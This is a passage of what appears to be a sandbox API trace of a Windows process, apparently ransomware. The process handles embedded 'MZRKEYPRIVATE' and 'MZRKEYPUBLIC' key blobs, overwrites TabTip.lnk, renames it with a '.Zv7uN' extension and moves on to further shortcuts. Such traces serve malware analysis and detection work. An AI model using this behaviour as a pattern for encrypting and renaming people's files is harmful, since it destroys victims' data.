Dp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.315] GetCurrentThreadId () returned 0xa30 [0132.315] GetCurrentThreadId () returned 0xa30 [0132.315] GetCurrentThreadId () returned 0xa30 [0132.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.316] GetCurrentThreadId () returned 0xa30 [0132.316] GetCurrentThreadId () returned 0xa30 [0132.316] GetCurrentThreadId () returned 0xa30 [0132.316] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.316] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.316] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.316] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x56a [0132.316] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.317] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x56a, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0x56a, lpOverlapped=0x0) returned 1 [0132.320] CloseHandle (hObject=0x1dc) returned 1 [0132.320] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.322] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x56a, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f114*=0x56a, lpOverlapped=0x0) returned 1 [0132.325] CloseHandle (hObject=0x1dc) returned 1 [0132.325] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk.zv7un")) returned 1 [0132.326] GetCurrentThreadId () returned 0xa30 [0132.326] GetCurrentThreadId () returned 0xa30 [0132.326] GetCurrentThreadId () returned 0xa30 [0132.327] GetCurrentThreadId () returned 0xa30 [0132.327] GetCurrentThreadId () returned 0xa30 [0132.327] GetCurrentThreadId () returned 0xa30 [0132.327] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Journal.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0132.327] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.327] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.327] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524)) returned 1 [0132.328] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk")) returned 0x20 [0132.328] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk", dwFileAttributes=0x80) returned 1 [0132.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6f